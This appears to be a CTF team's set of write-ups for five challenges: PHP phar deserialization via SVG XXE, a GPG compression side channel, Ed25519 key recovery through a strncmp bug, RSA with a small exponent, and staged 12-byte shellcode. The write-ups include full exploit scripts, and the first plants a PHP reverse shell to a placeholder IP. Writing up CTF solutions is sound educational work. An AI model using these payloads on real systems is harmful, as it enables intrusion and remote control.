• This task provided a file upload for images. After looking at the robots.txt we saw that a file “source.zip” exists in which the source code of the app is stored.

The upload functionality is implemented as:

<?php
session_start();

function calcImageSize($file,$mime_type) {
if ($mime_type == "image/png"||$mime_type == "image/jpeg") {
$stats = getimagesize($file);  // Doesn't work for svg...
$width =$stats[0];
$height =$stats[1];
} else {
$xmlfile = file_get_contents($file);
$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$svg = simplexml_import_dom($dom);$attrs = $svg->attributes();$width = (int) $attrs->width;$height = (int) $attrs->height; } return [$width, $height]; } class Image { function __construct($tmp_name)
{
$allowed_formats = [ "image/png" => "png", "image/jpeg" => "jpg", "image/svg+xml" => "svg" ];$this->tmp_name = $tmp_name;$this->mime_type = mime_content_type($tmp_name); if (!array_key_exists($this->mime_type, $allowed_formats)) { // I'd rather 500 with pride than 200 without security die("Invalid Image Format!"); }$size = calcImageSize($tmp_name,$this->mime_type);
if ($size[0] *$size[1] > 1337 * 1337) {
die("Image too big!");
}

$this->extension = "." .$allowed_formats[$this->mime_type];$this->file_name = sha1(random_bytes(20));
$this->folder =$file_path = "images/" . session_id() . "/";
}

function create_thumb() {
$file_path =$this->folder . $this->file_name .$this->extension;
$thumb_path =$this->folder . $this->file_name . "_thumb.jpg"; system('convert ' .$file_path . " -resize 200x200! " . $thumb_path); } function __destruct() { if (!file_exists($this->folder)){
mkdir($this->folder); }$file_dst = $this->folder .$this->file_name . $this->extension; move_uploaded_file($this->tmp_name, $file_dst);$this->create_thumb();
}
}

new Image($_FILES['image']['tmp_name']); header('Location: index.php');  The first issue we discovered was that the deserialization of an svg image allows external entities. So we tried to upload an svg image with an external entity which uses an expect statment. This should execute the command provided in it on the server. The problem is that php needs a specific module to interpret the expect statement, which was not installed. Also interesting is that ‘system’ is directly called to convert the images. Unfortunately we have no control over the parameter. After hours of search we found out that we can ‘disguise’ a phar archive as an jpeg image, which we now can upload to the server. The important part comes now. We are able to provide a serialized object in the metadata of the phar archive and we have full control over the attributes of this object. When the object gets deserialized it will get instantly destroyed by the garbage collector and so the ‘__destruct()’ method gets called. Therefore we can set the ‘$folder’ attribute of the Image object to run abitrary commands on the host system.

To activate the phar archive we can use the stream wrapper ‘phar://’ which we can provide as an external entity of an svg image.

This is our script to create the phar archive:

<?php

$jpeg_header_size = "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13". "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02". "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15". "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14". "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01". "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03". "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11". "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20". "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda". "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";$phar = new Phar("exploit.phar");
$phar['exp.php'] = '<?php system(\'php -r \\\'$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");\\\'\');?>';
$phar->startBuffering();$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); class Image {}$o = new Image();
$o->folder = " | php -r '\$sock=fsockopen(\"<ip of server>\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");' | ";
$phar->setMetadata($o);
$phar->stopBuffering();  The code of the ‘exp.php’ file inside this archive will not get executed and is just an artifact of one of our attempts. But there has to be one php file inside the phar archive which we can access via the stream wrapper. Let’s see what ‘file’ has to say about the archive. $ php pack.php
$file exploit.phar exploit.phar: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3  The archive is in fact recognized as a jpeg image. Now we crafted an svg image with external entities which should trigger the phar archive. <?xml version="1.0" standalone="yes"?> <!DOCTYPE convert [ <!ENTITY % payl SYSTEM "phar://images/cb8v42f3sfisnad6piq9sl23u7/f79556d9bf3197276c38c26bdbaba9511103ac93.jpg/exp.php">%payl;]> <svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-family="Verdana" font-size="16" x="10" y="40"></text></svg>  The path used in the svg image can be found in the gallery. After uploading this svg image the reverse shell got initiated and we could get the flag flag{R3lying_0n_PHP_4lw45_W0rKs} • In this task we’re given an IP, a port and the source code of the service. The service offers a JSON based API: from flask import Flask,request,abort import gnupg import time app = Flask(__name__) gpg = gnupg.GPG(gnupghome="/tmp/gpg") couponCodes = { "water": "WATER_2019", "beer" : "" # REDACTED } @app.route("/generateEncryptedVoucher", methods=['POST']) def generateEncryptedVoucher(): content = request.json (recipientName,drink) = (content['recipientName'],content['drink']) encryptedVoucher = str(gpg.encrypt( "%s||%s" % (recipientName,couponCodes[drink]), recipients = None, symmetric = True, passphrase = couponCodes[drink] )).replace("PGP MESSAGE","DRINK VOUCHER") return encryptedVoucher @app.route("/redeemEncryptedVoucher", methods=['POST']) def redeemEncryptedVoucher(): content = request.json (encryptedVoucher,passphrase) = (content['encryptedVoucher'],content['passphrase']) # Reluctantly go to the fridge... time.sleep(15) decryptedVoucher = str(gpg.decrypt( encryptedVoucher.replace("DRINK VOUCHER","PGP MESSAGE"), passphrase = passphrase )) (recipientName,couponCode) = decryptedVoucher.split("||") if couponCode == couponCodes["water"]: return "Here is some fresh water for %s\n" % recipientName elif couponCode == couponCodes["beer"]: return "Congrats %s! The flag is INS{ %s}\n" % (recipientName, couponCode) else: abort(500) if __name__ == "__main__": app.run(host='0.0.0.0')  This service encrypts a user generated string concatinated with || and the encryption key. The goal here was to find the de-/encryption key of the beer voucher. The code is using a wrapper for the GnuPGP library. The corresponding RFC says, PGP is using a block cipher in CFB mode. Since we didn’t see how we could directly attack this service, we were buffeled for a bit. We decided to find out the length of the encryption key, since it might be to short. To do so, we send the service receipientNames with an increasing amount of As. To our surprise, the ciphertext size didn’t increase per character. This means, OpenPGP uses compression before encrypting the data! This opens the door for a compression side channel! Since we control what comes before the encryption key, we can try out different characters. Everytime we get a shorter ciphertext, we know another character of the key, since our receipientName got compressed together with the key. Because the compression starts at a size of three bytes, we can start our search with ||A. This would result in the text ||A||$SECRET_KEY, which should be compressed (and therefore shorter) if the $SECRET_KEY starts with an A. The exploit script (see below) first determines a maximum ciphertext length by sending a non-compressible 40 byte string to the service. Then it tries out new characters by appending them to the known key string (in the beginning ||) and filling the remaining 40 bytes with non compressible data. Everytime a ciphertext shorter than the previous one is received, we know another byte of the key! The exploit script is not optimal (CTF code quality…), since it doesn’t necessarily find the patterns in correct order. Running it the first time gave us the key G1M_V3RY_TH1RSTY, which seems wierd and also didn’t work for decryption. Forbidding the first underline, it would give us the key G1MME_B33RY_TH1RSTY, which also doesn’t make sense. This is because the key contains repeating patterns (e.g. B33RY compresses, just as B33R_ because of the word V3RY). To fix this we’d need a more sophisticated approach, storing all candidate characters… But it was 3 a.m. and we were tired. So we just fixed the prefix to ||G1MME_B33R_ which seemed reasonable. This worked and gave us: p3 explcry.py [...] ||G1MME_B33R_PLZ_1M_S0_V3RY_TH1RSTY  Which is the flag. Full Exploit Script: import os import random import base64 import requests import string SEARCHSP = list("_" + string.printable[:-6]) PAD = string.ascii_lowercase + "!§$%&()=?-:;#'+*<>|"

MAX_LEN = 40

if c in SEARCHSP:
SEARCHSP.remove(c)

def convert_to_hex(p):
return base64.b64decode("".join(p.split("\n")[2:-3])).hex()

def get_enc(recipient, drink):
r=requests.post('http://localhost:5000/generateEncryptedVoucher',json={'recipientName': recipient, 'drink': drink})
return r.text

def get_uncompressed_len(PREFIX):
while True:
l_high_ent = []
for i in range(20):
l_high_ent.append(convert_to_hex(get_enc(PREFIX + gen_pad(MAX_LEN - len(PREFIX)), "beer")))

len_ct = len(l_high_ent[0])
for p in l_high_ent:
if len(p) != len_ct:
break
else:
break
return len_ct

KNOWN = "||G1MME_B33R_"
len_ct = get_uncompressed_len(KNOWN)
print("Ciphertext len without compression: ", len_ct)

num = 0
for _ in range(26):
for c in string.ascii_uppercase + "_0123456789":
pw = KNOWN + c + PAD[:MAX_LEN - len(KNOWN) - 1]
test = convert_to_hex(get_enc(pw, "beer"))
num += 1
if len(test) < len_ct:
len_ct = len(test)
print(len(test))
KNOWN += c
print(KNOWN)
break
print(KNOWN)

• This challenge came with c code and this description:

The crypto_sign function is designed to meet the standard notion of unforgeability for a public-key signature scheme under chosen-message attacks.


The code implements a service that creates 8 random key pairs for ed25519, it then lets you sign up to 1000 arbitrary messages. The keys used for signing can be chosen by us, by supplying the respective public key. The output looked like this:

 ./hxpcry                     [0]
Welcome to the Ed25519 existential forgery game!  Enjoy and good luck.
public key: 0609355a5505f116b6232dfc4aaedf99fef2c03376dc05f782e2b5f26454b353
public key: d24d6a7e6da062de8b0bf8b9f0efcb7617c6d6c44027af1d1e052359a80bf36d
public key: 7cf253c5667ea674ec4675a49731b3c58ee72e633212d8df05a44f9f2160bf63
public key: 3afe84a3480cae670d27363966929dd6d879981116b20600c50494378d84acb6
public key: 9c806c7bd9a890c43b2b89dc9ebe091888345ed958ef5f2fa60b42e8feb9fa98
public key: 909ec9496a787af72e444d314eb1c4910950ca7b757240a017149d7872bd6d55
public key: 816f1e428660418f942fec895e6fb75fc3db41c650578e636593e0c800064c6d
public key: d5db5e4ca30154a7266e75d6da77071e72c363fe6f0b2305810432b5ee0fd592

public key> d5db5e4ca30154a7266e75d6da77071e72c363fe6f0b2305810432b5ee0fd592
length>     1
message>    aa
public key>
[...]
forgery>    FORGED_SIGNATURE


If we manage to supply a valid signature for any of the given public keys and an arbitrary message (that we haven’t submitted to the service) the flag will be printed.

## C and strings

As it can be seen by the includes, the library uses djb’s tweetnacl library. Knowing that this library probably has no direct vulnerability, we looked at the provided C file. In C it is extermely easy to screw up string handling or buffer sizes. Since the authors layed some false trails, it took us a bit to find the actually pretty obvious bug.

The code reads in the provided public key:

printf("public key> "); fflush(stdout);
if (sizeof(pk) != read_hex(pk, sizeof(pk)) || K == (idx = find(pk)))
break;


and checks if the given public key is in the list of public keys via the find function. If the public key is in the list, it then uses the user supplied public key within the signing function (along with its private key).

printf("signed:     ");
print_hex(m, sign(m, n, keys[idx].sk, pk));
printf("\n");


The find function looks like this:

unsigned find(unsigned char const *pk)
{
unsigned idx;
for (idx = 0; idx < K; ++idx)
if (!strncmp(pk, keys[idx].pk, 32))
break;
return idx;
}


It uses strncmp to compare the user supplied public key to the one stored in its internal list.

Since strncmp only compares until the first null byte (the string terminator in C), we could wait until the service gives us a public key that contains a null byte.

From that null byte on, we could submit different bytes for the public key and it would still be used during signing.

So if we get an output like this:

Welcome to the Ed25519 existential forgery game!  Enjoy and good luck.
[...]
[...]
public key>


We could submit the correct public key 22bfe776234f54e70fead863c49b13ece4ed218e00e201426618e1af551216c6, but we could also submit 22bfe776234f54e70fead863c49b13ece4ed218e00aaaaaaaaaaaaaaaaaaaaaa. The service would use both public keys with the same private key to sign our messages.

But why does this matter?

## ed25519

The services signs our messages using the libraries ed25519 implementation. Ed25519 is a edDSA scheme, so basically a Schnorr signature on a twisted elliptic edwards curve.

An edDSA signature consists of two parts $(R, S)$, where R is a curve point and S a scalar. R is calculated as $R = rB$, with r beeing essentially a random value (it’s not actually random, it’s deterministic, but it serves as a random value) $r = H(H_{b,\dots,2b - 1}(k), M)$. B is the defined base point, H a one way hash function and k is the private key. Check out the linked Wikipedia article for the exact parameters of ed25519.

The S of the signature is calculated as follows:

$S \equiv r + H(R, A, M) s \pmod \ell.$

The secret r is added to the hash of R, the public key A, and the message multiplied by the secret s (derived from the private key).

So if we manage to sign the same message two times, using the same private key, but two different public keys we would get the following equations:

$S_1 \equiv r_1 + H(R_1, A_1, M) s \pmod \ell.$

and

$S_2 \equiv r_2 + H(R_2, A_2, M) s \pmod \ell.$

For these two equations, we have all the variables, except for the secret key s. Given this secret key s, we could just sign messages our selves.

The secret s can easily be calculated:

$s = \frac{S_1 - S_2}{H(R_1, A_1, M) - H(R_2, A_2, M)}$

Note that this calculation is done modulo, so it actually reads like this:

$s \equiv (S_1 - S_2) \cdot (H(R_1, A_1, M) - H(R_2, A_2, M))^{-1} \mod \ell.$

## Putting it together

So the exploit works as follows:

1. Connect to the service until it gives us a public key containing a null byte
2. Use this public key to create a wrong public key (differs after the null byte)
3. Request two signatures for the same message using the differnt public keys
4. Calculate the secret s
5. Sign a message of our choice and submit it
6. Enjoy the flag

The final exploit can be found here. It uses the pure25519 python lib by Brian Warner.

Running the exploit gives us:

[+] Opening connection to 159.69.218.92 on port 25519: Done
('Found weak key', '\x14\xec5\xb3\x04]\x05\x12Ss\xaf\xdb\xbaj\xf6\x00\xf2\xa5QV\xd4~\x9a\xe9\x1f\x0b\x90\x88\xd2\xd7*+')
('Signature: ', 'cfa1a0255fb0cdab6c8183a68674e7755f2d04f0990fc67e5cbd4bea9e6661df81da90f1ef2ee990f8c6ff4f970d7955b595691a0e6d135a4a1ab7c964f63c03')

hxp{Th3_m0sT_f00lpr00f_sYsT3m_br34kz_1f_y0u_4bU5e_1t_h4rD_eN0u9h}
[*] Closed connection to 159.69.218.92 port 25519


\o/

• Daring was a pretty straight forward entry level task of this years hxp CTF.

We’re giving this python script:

#!/usr/bin/env python3
import os
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto.Util import Counter
from Crypto.PublicKey import RSA

key = RSA.generate(1024, e=3)
open('pubkey.txt', 'w').write(key.publickey().exportKey('PEM').decode() + '\n')
open('rsa.enc', 'wb').write(pow(int.from_bytes(flag.ljust(128, b'\0'), 'big'), key.e, key.n).to_bytes(128, 'big'))

key = SHA256.new(key.exportKey('DER')).digest()
open('aes.enc', 'wb').write(AES.new(key, AES.MODE_CTR, counter=Counter.new(128)).encrypt(flag))


as well as the public key and the encrypted files rsa.enc and aes.enc.

Since AES is used in counter mode, we know that the flag is 43 bytes long.

Looking at the RSA encryption we see two things:

• Small exponent (3)
• The flag is padded with trailing null bytes

Since we know the size of the flag, we can just multiply the cipher text with the encryption of the multiplicative inverse of the padding (0x100000000…).

The result would be (with m=flag and p=padding):

$(m \cdot p)^3 \cdot (p^{-1})^3 \equiv m^3 \mod N$

For a small m, we should be able to simply compute the third root of the resulting ciphertext. Since m is small we don’t need to worry about the modulus N.

Unfortunately its not quite that simple, because the flag is one byte too long for this to work.

There are multiple ways to still make this work.

I decided to just cancel out some factor of the number that represents the flag. To do this, I just ran a loop multiplying the cipher text with the inverse of this factor, taking the cube root, then multiply by this factor.

Once we hit a factor x of the flag, we get the number z:

$z \equiv (m \cdot x^{-1})^3 \mod N$

This number should be short enough for us to be able to take the cube root, then multiply it by the factor x:

$m = x \cdot \sqrt[3]{(m \cdot x^{-1})^3}$

The exploit looks like this:

from Crypto.PublicKey import RSA
import gmpy2

flag_len = 43

for factor_candidate in range(10000):
r = gmpy2.invert(2**((128 - flag_len)*8), pubkey.n)
try:
fac_r =  gmpy2.invert(factor_candidate, pubkey.n)
except Exception:
continue
enc_r = pow(r, pubkey.e, pubkey.n)
enc_fac = pow(fac_r, pubkey.e, pubkey.n)

new_enc = (rsa_enc * enc_r * enc_fac) % pubkey.n
root, succ = gmpy2.iroot(new_enc, pubkey.e)
res = int.to_bytes(int(root) * factor_candidate, 100, "big")

if b"hxp" in res:
print("factor {}: {}".format(factor_candidate, res[-43:]))
break


And gives us:

factor 83: b'hxp{DARINGPADS_1s_4n_4n4gr4m_0f_RSAPADDING}'


\o/

• We are allowed to directly execute x64 shellcode in a r/x mmapped region, however only up to a Size of 12 Bytes. And there was seccomp enabled, so we only had mprotect, read, write, open and a few other syscalls available. We cannot read the flag with only 12 Bytes available, so we must somehow reread additional shellcode. Therefore we must get our mempage writable again. And afterwards we need to read some shellcode in there, overwriting our currently executed shellcode.

## Step1: Making the mempage writable

As the last function call before jumping into our shellcode was mprotect, most of the registers luckily were already set correctly. As we want to call mprotect by syscall, our shellcode therefore only needs to set rax = 10 (for mprotect) and rdx = 7 (for r/w/x rights).

; already set correctly : rdi = our mempage base addr, rsi = mempage size
mov al, 10
mov dl, 7
syscall


This will result in 6 Bytes of shellcode. Also, after successfull execution, rax will be set to zero, the syscall number of read!

Now we need to read from stdin, rax is already set to 0 (the id of read). For the parameters we need to get rdi = 0 (for stdin), rsi = rdi (rdi contains our mempage addr), rdx = the amount we want to read. My first try was something like:

mov rsi, rdi
mov rdi, rax
mov dl, 0xff
syscall


Which will result in 10 Bytes of additional shellcode, way too much, we need to get it into 6 Bytes. Therefore we can do some optimisations. For example the mov rsi, rdi operation (3 Bytes in size) can as well be expressed as push rdi; pop rsi (2 Bytes in size). By completely removing the assignment of the rdx register, we will get a 6 Byte read shellcoode.

push rdi
pop rsi
push rax
pop rdi
syscall


We now can read into our own mempage. However, rdx is still 7 from the last call, so this doesn’t help us at all, we will return right into nothing after the read syscall. We need to read more.

## Step3: Mmap protection flags

As we want to get rdx > 7, we could just try to set it to some arbitrary value right before the mprotect syscall. But then mprotect will fail with EINVAL. So let’s check wich flags we have available to use the syscall correctly and get rdx > 7.

/* mman-common.h */
#define PROT_WRITE	0x2		/* page can be written */
#define PROT_EXEC	0x4		/* page can be executed */
#define PROT_SEM	0x8		/* page may be used for atomic ops */
#define PROT_NONE	0x0		/* page can not be accessed */


A PROT_SEM flag. Interesting. So setting rdx = 15 would work, we could read 3 additional Bytes and overwrite our whole current shellcode + 3. Those additional 3 Bytes are sufficient to do a jmp rsi. From there on it is a piece of cake, with that much space available, we can read an arbitrary amount of shellcode into memory and finally get our flag.

Full exploit code:

from pwn import *

context.clear(arch='amd64')

stage1 = """
mov al, 10
mov dl, 15
syscall
push rdi
pop rsi
push rax
pop rdi
syscall
"""
stage1 = asm(stage1)
assert len(stage1) <= 12

stage2 = """
mov dx, 0x1000
xor rax, rax
syscall
"""
stage2 = asm(stage2)
assert len(stage2) <= 12
stage2 = stage2.ljust(12, asm('nop')) + asm('jmp rsi')
assert len(stage2) <= 15

stage3 = "nop\n" * 15
stage3 += pwnlib.shellcraft.open('/home/minishell/flag.txt')
stage3 += pwnlib.shellcraft.write(1, 'rsp', 'rax')
stage3 = asm(stage3)

# r = remote('localhost', 6666)
r = remote('200.136.252.34', 4545)
if __name__ == '__main__':
r.recvuntil('? ')
r.send(stage1)
r.recvuntil('!\n')
r.send(stage2)
r.send(stage3)
r.interactive()
# CTF-BR{s0000_t1ght_f0r_my_B1G_sh3ll0dE_}



The PATH wasn’t set, so just opening flag.txt did not work. Had to read /etc/passwd to find out the home path.